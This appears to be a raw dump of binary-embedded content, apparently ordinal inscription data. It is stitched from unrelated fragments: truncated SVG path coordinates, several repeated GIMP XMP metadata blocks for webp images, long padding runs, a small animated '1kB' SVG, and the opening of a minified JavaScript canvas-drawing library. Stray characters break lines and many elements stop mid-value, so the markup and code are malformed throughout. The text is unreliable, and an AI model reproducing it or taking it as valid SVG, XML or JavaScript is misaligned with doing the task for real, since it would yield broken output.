		<path d="M381.69,330.56c0.35,0.2,0.7,0.35,1.04,0.35c0.56,0,1.11-0.28,1.39-0.69c0.28-0.35,0.41-0.83,0.35-1.32
			c-0.07-0.41-0.28-0.83-0.7-1.11l-33.09-25.25c-0.77-0.56-1.87-0.42-2.43,0.35c-0.28,0.35-0.42,0.83-0.35,1.32
			c0.07,0.41,0.35,0.83,0.7,1.1L381.69,330.56z"/>
		<path d="M398.28,343.11c0.28,0.28,0.69,0.42,1.04,0.42c0.56,0,1.04-0.28,1.39-0.7c0.28-0.41,0.41-0.83,0.35-1.31
			c-0.07-0.49-0.28-0.9-0.69-1.18l-5.55-4.17c-0.7-0.56-1.88-0.41-2.36,0.35c-0.27,0.35-0.41,0.77-0.35,1.25
			c0.07,0.48,0.28,0.9,0.62,1.1M
		<path d="M343.05,301.07c0.35,0.28,0.69,0.41,1.1,0.41c0.49,0,1.04-0.28,1.39-0.69c0.56-0.77,0.35-1.88-0.35-2.43l-11.1-8.46
			c-0.7-0.49-1.81-0.35-2.43,0.35c-0.56,0.77-0.41,1.88,0.35,2.43L343.05,301.07z"/>
		<path d="M426.93,364.48c0.56,0,1.04-0.21,1.31-0.62c0.35-0.42,0.42-0.83,0.42-1.32c-0.07-0.41-0.35-0.83-0.7-1.1
			c-0.76-0.63-1.87-0.42-2.43,0.27c-0.28,0.42-0.41,0.83-0.35,1.32c0.07,0.41,0.28,0.83,0.69,1.11
			C426.16,364.41,426.51,364.48,426.93,364.48z"/>
		<path d="M327.58,288.86c0.49,0,1.0M
4-0.27,1.39-0.69c0.28-0.35,0.35-0.83,0.35-1.31c-0.07-0.42-0.35-0.83-0.69-1.11
			c-0.77-0.62-1.88-0.42-2.43,0.35c-0.28,0.35-0.41,0.77-0.35,1.25c0.07,0.49,0.28,0.9,0.69,1.18
			C326.82,288.72,327.17,288.86,327.58,288.86z"/>
		<path d="M497.62,418.8c0.28,0.21,0.7,0.35,1.04,0.35c0.56,0,1.04-0.28,1.39-0.69c0.56-0.77,0.41-1.8-0.35-2.43l-5.56-4.16
			c-0.69-0.62-1.87-0.41-2.36,0.28c-0.35,0.41-0.41,0.83-0.35,1.32c0,0.48,0.28,0.83,0.62,1.1L497.62,418.8z"/>
		<path d="M526.2,440.17c0.56,0,1.11-0.28,1.46-0.69c0.28-0.35,0.35-M
0.83,0.35-1.25c-0.07-0.48-0.35-0.9-0.69-1.18
			c-0.77-0.56-1.87-0.41-2.43,0.35c-0.63,0.77-0.42,1.88,0.28,2.43C525.51,440.03,525.86,440.17,526.2,440.17z"/>
		<path d="M481.04,406.17c0.28,0.28,0.69,0.35,1.04,0.35c0.55,0,1.04-0.21,1.38-0.7c0.28-0.35,0.42-0.77,0.35-1.25
			c-0.07-0.42-0.28-0.83-0.7-1.11l-33.09-25.25c-0.7-0.56-1.88-0.42-2.43,0.35c-0.28,0.35-0.41,0.76-0.35,1.25
			c0.07,0.49,0.28,0.9,0.69,1.18L481.04,406.17z"/>
		<path d="M758.33,434.41c-0.35,0.28-0.56,0.77-0.56,1.25c0,0.42,0.21,0.83,0.56,1.18c0.28,0.35M
			c0.49,0,0.9-0.14,1.25-0.49c0.69-0.69,0.69-1.73,0-2.43C760.07,433.72,758.96,433.72,758.33,434.41z"/>
		<path d="M753.41,439.27l-9.85,9.78c-0.69,0.69-0.62,1.8,0,2.49c0.35,0.35,0.77,0.49,1.25,0.49c0.42,0,0.91-0.14,1.25-0.49
			l9.78-9.78c0.69-0.69,0.69-1.8,0-2.49C755.21,438.65,754.03,438.65,753.41,439.27z"/>
		<path d="M935.18,257.99c-0.35,0.35-0.56,0.76-0.56,1.25c0,0.49,0.21,0.9,0.56,1.25c0.28,0.28,0.69,0.49,1.18,0.49
			s0.9-0.21,1.25-0.49c0.63-0.69,0.63-1.8,0-2.49C936.91,257.37,935.8,257.37,9M
		<path d="M841.8,351.09l-9.78,9.78c-0.69,0.69-0.69,1.8,0,2.49c0.35,0.28,0.77,0.49,1.18,0.49c0.49,0,0.9-0.21,1.25-0.49l9.85-9.85
			c0.62-0.62,0.62-1.73,0-2.43C843.6,350.47,842.49,350.47,841.8,351.09z"/>
		<path d="M827.09,365.8l-29.48,29.41c-0.35,0.28-0.49,0.7-0.49,1.18c0,0.49,0.14,0.91,0.49,1.25c0.35,0.35,0.77,0.48,1.25,0.48
			c0.42,0,0.91-0.14,1.25-0.48l29.41-29.42c0.35-0.28,0.49-0.69,0.56-1.18c0-0.49-0.2-0.9-0.56-1.25
			C828.89,365.17,827.71,365.17,827.09,365.8z"/>
		<path d="M846.72,346.17c-M
0.69,0.69-0.69,1.8,0,2.49c0.35,0.35,0.77,0.49,1.25,0.49c0.42,0,0.9-0.14,1.25-0.49
			c0.62-0.69,0.62-1.8-0.07-2.49C848.52,345.54,847.41,345.54,846.72,346.17z"/>
		<path d="M787.75,405l-4.86,4.93c-0.69,0.62-0.69,1.73,0,2.43c0.28,0.35,0.77,0.48,1.18,0.48c0.49,0,0.9-0.14,1.25-0.48l4.93-4.93
			c0.35-0.28,0.48-0.77,0.48-1.18c0-0.49-0.14-0.91-0.48-1.25C789.55,404.3,788.44,404.37,787.75,405z"/>
		<path d="M915.47,277.63l-29.42,29.41c-0.35,0.28-0.56,0.7-0.56,1.18c0,0.49,0.21,0.91,0.49,1.25c0.35,0.35,0.76,0.48,1.25,0.48
	c0.49,0,0.9-0.14,1.25-0.48l29.48-29.42c0.28-0.28,0.49-0.69,0.49-1.18s-0.14-0.9-0.49-1.25C917.28,277,916.17,277,915.47,277.63z
		<path d="M876.21,316.82l-4.93,4.93c-0.69,0.62-0.69,1.73,0,2.43c0.35,0.35,0.77,0.48,1.25,0.48c0.42,0,0.83-0.14,1.18-0.48
			l4.93-4.93c0.35-0.28,0.56-0.77,0.56-1.18c0-0.49-0.2-0.91-0.56-1.25C878.01,316.2,876.9,316.13,876.21,316.82z"/>
		<path d="M964.59,228.64l-4.93,4.86c-0.62,0.69-0.62,1.8,0,2.43c0.35,0.35,0.76,0.56,1.25,0.56c0.49,0,0.9-0.2,1.25-0.48l4.93-4.93
			c0.63-0.7,0.63-1.7M
3,0-2.43C966.4,227.95,965.28,227.95,964.59,228.64z"/>
		<path d="M930.25,262.92l-9.85,9.78c-0.35,0.35-0.49,0.76-0.49,1.25c0,0.41,0.14,0.9,0.49,1.25c0.35,0.28,0.77,0.49,1.25,0.49
			c0.42,0,0.9-0.21,1.18-0.49l9.85-9.85c0.7-0.62,0.7-1.73,0-2.43C932.05,262.22,930.87,262.22,930.25,262.92z"/>
		<path d="M710.4,486.38c0.49,0,0.91-0.21,1.25-0.56l29.48-29.35c0.28-0.35,0.48-0.83,0.48-1.25c0-0.49-0.2-0.9-0.48-1.25
			c-0.62-0.62-1.81-0.62-2.5,0l-29.42,29.41c-0.69,0.7-0.69,1.73,0,2.43C709.49,486.17,709.91,486.38,710.4,486.38zM
		<path d="M695.69,501.01c0.48,0,0.9-0.14,1.18-0.48l4.93-4.93c0.35-0.28,0.56-0.7,0.56-1.18c0-0.49-0.21-0.91-0.56-1.25
			c-0.63-0.69-1.73-0.62-2.43,0l-4.93,4.93c-0.62,0.7-0.62,1.73,0,2.43C694.79,500.87,695.21,501.01,695.69,501.01z"/>
		<path d="M669.88,522.59c-0.28,0.28-0.48,0.77-0.48,1.18c0,0.49,0.14,0.9,0.48,1.25c0.35,0.35,0.77,0.49,1.25,0.49
			c0.48,0,0.9-0.14,1.25-0.49c0.28-0.35,0.49-0.76,0.49-1.18c0-0.48-0.21-0.9-0.49-1.25C671.68,521.9,670.58,521.9,669.88,522.59z"
		<path d="M664.96,527.45l-9.78,9.8M
5c-0.69,0.62-0.69,1.73,0,2.43c0.35,0.35,0.77,0.49,1.25,0.49c0.41,0,0.9-0.14,1.18-0.49
			l9.85-9.78c0.28-0.35,0.49-0.76,0.49-1.18c0-0.48-0.14-0.97-0.49-1.31C666.76,526.82,665.65,526.82,664.96,527.45z"/>
		<path d="M789.21,394.52c-0.49,0-0.9,0.14-1.25,0.49c-0.7,0.69-0.7,1.8,0,2.49c0.35,0.28,0.76,0.49,1.25,0.49s0.9-0.21,1.25-0.56
			c0.63-0.62,0.63-1.73,0-2.43C790.11,394.66,789.62,394.52,789.21,394.52z"/>
		<path d="M812.03,371.7c0,0.49,0.14,0.9,0.49,1.25c0.35,0.35,0.76,0.56,1.25,0.56c0.41,0,0.9-0.2,1.18-0.56l4.93-4.M
			c0.7-0.7,0.7-1.81,0-2.5c-0.62-0.62-1.8-0.62-2.43,0l-4.93,4.93C812.17,370.79,812.03,371.28,812.03,371.7z"/>
		<path d="M784.63,391.12l5.27-4.58c0.35-0.35,0.56-0.76,0.56-1.25c0.07-0.41-0.14-0.9-0.41-1.18c-0.56-0.77-1.73-0.83-2.43-0.21
			l-5.2,4.58c-0.42,0.28-0.63,0.7-0.63,1.18c-0.07,0.49,0.14,0.9,0.42,1.25c0.35,0.35,0.83,0.62,1.31,0.62
			C783.94,391.54,784.35,391.4,784.63,391.12z"/>
		<path d="M816.06,363.79c0.77-0.62,0.83-1.73,0.21-2.43c-0.63-0.69-1.81-0.76-2.5-0.2c-0.35,0.35-0.56,0.76-0.56,1.25
41,0.14,0.9,0.42,1.18c0.35,0.41,0.76,0.62,1.31,0.62C815.37,364.2,815.78,364.07,816.06,363.79z"/>
		<path d="M770.75,414.57c-0.62-0.62-1.8-0.62-2.43,0l-29.48,29.42c-0.35,0.35-0.49,0.77-0.49,1.25c0,0.42,0.14,0.91,0.49,1.25
			c0.35,0.28,0.76,0.48,1.25,0.48c0.42,0,0.9-0.2,1.25-0.48l29.42-29.42C771.45,416.38,771.45,415.27,770.75,414.57z"/>
		<path d="M634.16,537.3c-0.98-0.14-1.81,0.56-1.94,1.46c-0.07,0.49,0,0.97,0.28,1.32c0.28,0.35,0.69,0.62,1.18,0.69l6.87,0.97
			c0.07,0,0.14,0,0.28,0c0.83,0,1.52-0.62,1.66-1.46c0.14-0M
.97-0.48-1.87-1.46-2.01L634.16,537.3z"/>
		<path d="M820.15,359.7c0.42,0,0.83-0.21,1.18-0.49l10.47-9.09c0.35-0.28,0.56-0.69,0.56-1.18c0.07-0.41-0.07-0.9-0.41-1.25
			c-0.56-0.69-1.73-0.77-2.43-0.21l-10.47,9.16c-0.69,0.62-0.76,1.73-0.2,2.43C819.18,359.49,819.66,359.7,820.15,359.7z"/>
		<path d="M774.43,412.7c0.49,0,0.9-0.21,1.25-0.56l9.78-9.78c0.35-0.35,0.56-0.77,0.56-1.18c0-0.49-0.21-0.97-0.49-1.25
			c-0.69-0.7-1.8-0.7-2.49,0l-9.78,9.78c-0.35,0.35-0.56,0.76-0.56,1.18c0,0.48,0.21,0.97,0.56,1.25
			C773.53,412.49,77M
4.01,412.7,774.43,412.7z"/>
		<path d="M876.42,306.83c-0.7,0.69-0.7,1.8,0,2.49c0.28,0.28,0.69,0.49,1.18,0.49c0.48,0,0.9-0.21,1.25-0.49
			c0.35-0.35,0.49-0.83,0.49-1.25c0-0.49-0.14-0.9-0.49-1.25C878.22,306.13,877.04,306.2,876.42,306.83z"/>
		<path d="M632.77,523l10.47-9.09c0.35-0.35,0.56-0.77,0.56-1.18c0.07-0.49-0.07-0.97-0.41-1.32c-0.63-0.62-1.73-0.76-2.43-0.14
			l-10.47,9.09c-0.35,0.35-0.56,0.77-0.62,1.18c0,0.49,0.14,0.91,0.41,1.25c0.35,0.41,0.83,0.62,1.32,0.62
			C632,523.42,632.42,523.28,632.77,523z"/>
 d="M874.4,313c0-0.49-0.14-0.97-0.49-1.25c-0.62-0.7-1.8-0.7-2.43,0l-3.61,3.6c-0.62-0.21-1.25-0.07-1.67,0.35l-31.42,27.27
			c-0.35,0.28-0.62,0.69-0.62,1.18c-0.07,0.41,0.14,0.9,0.41,1.25c0.62,0.69,1.73,0.83,2.43,0.21l3.82-3.33l-13.6,13.53
			c-0.63,0.69-0.63,1.8,0,2.43c0.35,0.35,0.76,0.56,1.25,0.56s0.9-0.2,1.25-0.56l29.48-29.34c0.62-0.69,0.62-1.8,0-2.5h-0.07
			l2.64-2.29c0.69,0.56,1.73,0.49,2.36-0.14l9.78-9.78C874.26,313.84,874.4,313.42,874.4,313z"/>
		<path d="M690.35,472.98l5.27-4.57c0.35-0.28,0.56-0.7,0.56-1.18cM
0.07-0.42-0.07-0.91-0.41-1.25c-0.56-0.69-1.73-0.76-2.43-0.21
			l-5.27,4.58c-0.35,0.28-0.56,0.7-0.56,1.18c-0.07,0.49,0.14,0.91,0.42,1.25c0.28,0.41,0.76,0.62,1.31,0.62
			C689.66,473.4,690.07,473.26,690.35,472.98z"/>
		<path d="M680.08,479.57c-0.63-0.62-1.81-0.76-2.5-0.14l-31.43,27.26c-0.35,0.35-0.56,0.77-0.56,1.25
			c-0.07,0.42,0.14,0.91,0.42,1.25c0.35,0.35,0.76,0.56,1.31,0.56c0.42,0,0.77-0.14,1.11-0.42l31.43-27.26
			C680.63,481.45,680.71,480.34,680.08,479.57z"/>
		<path d="M686.05,500.87c0.42,0,0.9-0.21,1.25-0.5M
6l9.78-9.78c0.7-0.69,0.7-1.73,0-2.43c-0.62-0.7-1.8-0.7-2.43,0l-9.85,9.78
			c-0.28,0.35-0.49,0.76-0.49,1.18c0,0.48,0.14,0.97,0.49,1.25C685.14,500.66,685.56,500.87,686.05,500.87z"/>
		<path d="M774.36,397.71c-0.62-0.69-1.81-0.77-2.5-0.14l-31.35,27.26c-0.77,0.62-0.83,1.73-0.21,2.43
			c0.28,0.42,0.76,0.62,1.31,0.62c0.42,0,0.83-0.14,1.11-0.41l31.43-27.26C774.85,399.51,774.99,398.48,774.36,397.71z"/>
		<path d="M702,483.19c-0.62-0.62-1.8-0.62-2.49,0c-0.62,0.69-0.62,1.8,0,2.49c0.35,0.28,0.83,0.49,1.25,0.49
9-0.21,1.25-0.49C702.7,484.99,702.7,483.88,702,483.19z"/>
		<path d="M682.37,502.82c-0.69-0.7-1.8-0.7-2.49,0l-29.42,29.34c-0.35,0.35-0.56,0.77-0.56,1.25c0,0.49,0.21,0.91,0.56,1.25
			c0.28,0.35,0.77,0.48,1.18,0.48c0.49,0,0.9-0.14,1.25-0.48l29.48-29.42C683,504.55,683,503.44,682.37,502.82z"/>
		<path d="M719.49,443.02c-0.35,0.35-0.56,0.76-0.56,1.25c-0.07,0.42,0.14,0.9,0.41,1.25c0.35,0.35,0.77,0.56,1.32,0.56
			c0.41,0,0.83-0.14,1.11-0.41c0.69-0.62,0.83-1.67,0.2-2.43C721.36,442.53,720.25,442.46,719.49,443.02z"/>
th d="M625.21,524.95c-0.35,0.28-0.56,0.7-0.56,1.18c-0.07,0.49,0.07,0.9,0.41,1.25c0.28,0.35,0.77,0.62,1.32,0.62
			c0.41,0,0.83-0.21,1.11-0.49c0.69-0.56,0.83-1.67,0.2-2.43C627.08,524.39,625.9,524.32,625.21,524.95z"/>
		<path d="M728.99,453.84l-4.86,4.86c-0.35,0.35-0.56,0.77-0.56,1.25c0,0.42,0.21,0.9,0.56,1.25c0.28,0.28,0.77,0.48,1.18,0.48
			c0.49,0,0.9-0.2,1.25-0.48l4.93-4.93c0.28-0.35,0.49-0.77,0.49-1.25c0-0.41-0.14-0.9-0.49-1.18
			C730.86,453.15,729.68,453.15,728.99,453.84z"/>
		<path d="M727.05,441.14l10.47-9.0M
9c0.35-0.35,0.56-0.77,0.56-1.18c0.07-0.49-0.07-0.98-0.41-1.32c-0.56-0.69-1.73-0.76-2.43-0.14
			l-10.47,9.09c-0.35,0.28-0.56,0.7-0.62,1.18c0,0.49,0.14,0.9,0.41,1.25c0.35,0.41,0.83,0.62,1.32,0.62S726.7,441.42,727.05,441.14
		<path d="M672.87,504.97l4.85-4.93c0.35-0.28,0.56-0.77,0.56-1.18c0-0.49-0.2-0.9-0.56-1.25c-0.62-0.7-1.73-0.7-2.43,0l-4.93,4.85
			c-0.62,0.7-0.62,1.81,0,2.5c0.35,0.28,0.77,0.49,1.25,0.49C672.1,505.45,672.52,505.24,672.87,504.97z"/>
		<path d="M684.93,486.23c0-0.48-0.14-0.9-0.48-1.31c-0.56M
-0.7-1.73-0.7-2.43-0.14l-31.42,27.27c-0.7,0.69-0.77,1.8-0.14,2.49
			c0.35,0.35,0.83,0.62,1.32,0.62c0.41,0,0.76-0.2,1.1-0.48l31.43-27.27C684.66,487.14,684.87,486.65,684.93,486.23z"/>
		<path d="M717.05,458.42c-0.69-0.69-1.8-0.62-2.49,0l-13.94,13.94c0-0.41-0.14-0.76-0.42-1.04c-0.62-0.7-1.8-0.77-2.43-0.21
			l-5.28,4.58c-0.69,0.62-0.83,1.67-0.2,2.43c0.56,0.62,1.39,0.77,2.08,0.42l-9.3,9.3c-0.62,0.62-0.62,1.73,0,2.43
			c0.35,0.35,0.83,0.49,1.25,0.49c0.49,0,0.9-0.14,1.25-0.49l29.48-29.42C717.75,460.22,717.68,459.11,717M
		<path d="M723.3,449.68l-3.81,3.81c-0.62,0.69-0.62,1.8,0,2.5c0.35,0.28,0.76,0.48,1.25,0.48c0.42,0,0.9-0.2,1.25-0.48l9.72-9.72
			c0.62-0.69,0.62-1.73,0-2.43c-0.62-0.63-1.73-0.7-2.43-0.14l-0.07,0.14c-0.14,0.07-0.2,0.2-0.28,0.28l-3.88,3.81
			c-0.41,0.07-0.77,0.21-1.11,0.48C723.58,448.7,723.37,449.19,723.3,449.68z"/>
		<path d="M647.06,529.94c0.49,0,0.9-0.14,1.18-0.48c0.35-0.35,0.56-0.77,0.56-1.25c0-0.41-0.2-0.9-0.56-1.25
			c-0.62-0.62-1.73-0.62-2.43,0c-0.35,0.35-0.49,0.83-0.49,1.25c0,0.49,0.14,0.91,M
0.49,1.25S646.57,529.94,647.06,529.94z"/>
		<path d="M643.38,534.32c0.62-0.63,0.62-1.73,0-2.43c-0.42-0.41-1.04-0.56-1.53-0.48l-10.82-1.53c-0.42,0-0.9,0.07-1.32,0.35
			c0,0,0,0-0.07,0.07c-0.49,0.41-0.69,1.11-0.49,1.8c0.14,0.62,0.7,1.11,1.39,1.18l11.24,1.6c0.14,0.07,0.21,0.07,0.28,0.07
			c0.49,0,0.9-0.21,1.25-0.56L643.38,534.32z"/>
		<path d="M647.82,516.76c-0.62-0.62-1.73-0.77-2.43-0.14l-10.48,9.09c-0.76,0.62-0.83,1.73-0.2,2.49c0.35,0.35,0.83,0.56,1.31,0.56
			c0.42,0,0.83-0.14,1.18-0.41l10.41-9.09C648.38,518.63,6148.44,517.53,647.82,516.76z"/>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/M
22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:29035fa7-72fa-461d-89c4-5996076ee2bb" xmpMM:InstanceID="xmp.iid:5cf2839d-9b6e-4d6d-b530-4db2d0e244f3" xmpMM:OriginalDocumentID="xmp.did:c289f3ce-8a11-401f-bd36-6M
264983f15f2" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413420303539" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:23:38+11:00" xmp:ModifyDate="2023:02:15T09:23:38+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:6fca973e-432a-45fd-9fc2-9446786eb96c" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:23:40"/> </rdf:Seq> </xmpMM:History> </rdf:DeM
scription> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M

   <?xpacket end="w"?>h!
urn:mpeg:mpegB:cicp:systems:auxiliary:alpha
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="httM
p://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:775a286a-c846-42b7-9497-9cc210d0ebf6" xmpMM:InstanceID="xmp.iid:7d298356-6762-442a-859d-311d4f95461c" xmpMM:OriginalDocumentID="xmp.did:90727312-2408-4745-bdc7-8b064f71f1cc" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413408246378" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:23:26M
+11:00" xmp:ModifyDate="2023:02:15T09:23:26+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:da95b627-f085-4c54-a558-ec5d22d2bb1f" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:23:28"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MD
                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>h!
FjDOUT:C05DB0139575275BD75DCE4D28D834061A8E4FD3B9C8F5AF925031BF06028281
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1M
.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:a644d668-10c1-4d5d-bf7f-aa665dbeaf46" xmpMM:InstanceID="xmp.iid:14f0febc-f21f-4c8c-ad3d-5d612585c066" xmpMM:OriginalDocumentID="xmp.did:186733c8-1b5d-4f41-8708-697f908650e1" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamM
p="1676413382931668" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:22:55+11:00" xmp:ModifyDate="2023:02:15T09:22:55+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:61208b19-800c-4e34-a60e-fed39a6d1405" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:23:02"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdfM
:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:08a280c6-4ea3-41f3-814e-ededd16d94c8" xmpMM:InstanceID="xmp.iid:642abd1b-99ec-4e19-b4e8-1d11a51e70d4" xmpMM:OriginalDocumentID="xmp.did:ed3dee0b-62cd-4987-9b3b-0c57550d087f" dc:Format="image/webp" GIMPM
:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676408068016951" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:54:26+11:00" xmp:ModifyDate="2023:02:15T07:54:26+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:fa3f7e5b-1043-439a-b27d-538a93ba7039" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:54:28"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>h!
TUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUaM
AUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<html><script>function e(e){"use strict";return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100,n.height=100,n.canvas.width=n.width,n.canvas.height=n.height,"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",(function(){document.body.appendChild(n.canvas)}))),y(),n.MAGIC=161533525,n.RGB=0,n.HSV=1,n.HSB=1,n.CHORD=0,n.PIE=1,n.OPEN=2,n.RADIUS=1,n.CORNER=2,n.CORNERS=3,n.ROUND="round",n.SQM
UARE="butt",n.PROJECT="square",n.MITER="miter",n.BEVEL="bevel",n.CLOSE=1,n.BLEND="source-over",n.REMOVE="destination-out",n.ADD="lighter",n.DARKEST="darken",n.LIGHTEST="lighten",n.DIFFERENCE="difference",n.SUBTRACT="subtract",n.EXCLUSION="exclusion",n.MULTIPLY="multiply",n.SCREEN="screen",n.REPLACE="copy",n.OVERLAY="overlay",n.HARD_LIGHT="hard-light",n.SOFT_LIGHT="soft-light",n.DODGE="color-dodge",n.BURN="color-burn",n.NORMAL="normal",n.ITALIC="italic",n.BOLD="bold",n.BOLDITALIC="italic bold",n.CENTER="center",n.LEM
